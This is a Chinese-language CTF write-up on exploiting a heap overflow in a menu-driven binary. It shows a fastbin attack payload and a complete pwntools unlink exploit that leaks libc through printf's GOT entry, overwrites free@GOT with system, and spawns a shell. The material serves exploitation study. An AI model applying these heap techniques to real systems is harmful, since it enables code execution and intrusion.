0x00 检查保护
堆利用常规保护
0x01 代码分析
经分析,程序每add一个item,就会将其 长度和分配的mem地址分别 放入itemlist的itemlist[n]与itemlist[n+1] (n从0开始)
change函数存在明显的溢出,可任意长度的溢出。
remove函数执行free时有置零处理。
0x02 利用思路
change函数有溢出点,我们需要得到的是任意地址写 。
我这里有2种方法.
1.先说说第一种
得到任意地址写并控制itemlist内容有两种方法可以实现。第一种是利用Fastbin_attack控制内存。因为itemlist上方的地址空间的_IO_FILE文件指针开始字节为0x7f,我们可以错位利用这个0x7f来实现fastbin_attack,paylaod可以这样写
1
2
3
4
5
6
add(0x60,"aaaa"+'\n')
add(0x60,"bbbb"+'\n')
remove(1)
change(0,0x100,"c"*0x60+p64(0)+p64(0x71)+p64(0x6020ad)+'\n')
add(0x60,"dddd"+'\n')
add(0x60,data) ##这里用data覆盖 itemlist内容
这样便覆盖了了itemlist的内容。
2.再说说利用unlink的方法
其实就是伪造空闲chunk,利用unlink向后合并,实现可以往自身 chunk - 3*SIZE 的地址写数据,直接附上exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process("./pwn")
elf=ELF("/lib/x86_64-linux-gnu/libc-2.19.so")
e=ELF("./pwn")
def g():
gdb.attach(p)
raw_input()
def show():
p.recvuntil("Your choice:")
p.sendline('1')
def add(index, data):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('name:')
p.sendline(str(index))
p.recvuntil('servant:')
p.send(data)
def change(index,length,data):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('servant:')
p.sendline(str(index))
p.recvuntil('servant name:')
p.sendline(str(length))
p.recvuntil('the new name of the servnat:')
p.send(data)
def remove(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('servant:')
p.sendline(str(index))
add(16,"aaaa"+'\n')
add(32,"bbbb"+'\n')
add(144,"cccc"+'\n')
add(10,"dddd"+'\n')
add(16,"/bin/sh"+'\n')
change(1,48,p64(0)+p64(0x21)+p64(0x6020d8-8*3)+p64(0x6020d8-8*2)+p64(0x20)+p64(0xa0)+'\n') ## 伪造chunk
remove(2) ## 触发unlink
printf_got=e.got["printf"]
change(1,17,p64(0x10)+p64(printf_got)+'\n')
show() ## 打印printf got表地址,并算出libc基址
p.recvuntil("0 : ")
libc_addr=u64(p.recv(6).ljust(8,'\x00'))-elf.symbols["printf"]
print "libc_addr==="+hex(libc_addr)
system_addr=libc_addr+0x46590
print "system="+hex(system_addr)
free_got=e.got["free"]
change(1,17,p64(0x10)+p64(free_got)+'\n') ## 修改chunk_0 的mme地址为free got表地址
change(0,7,p64(system_addr)+'\n') ## 往chunk_0 写system地址
remove(4) ## 触发system(“/bin/sh”)
p.interactive()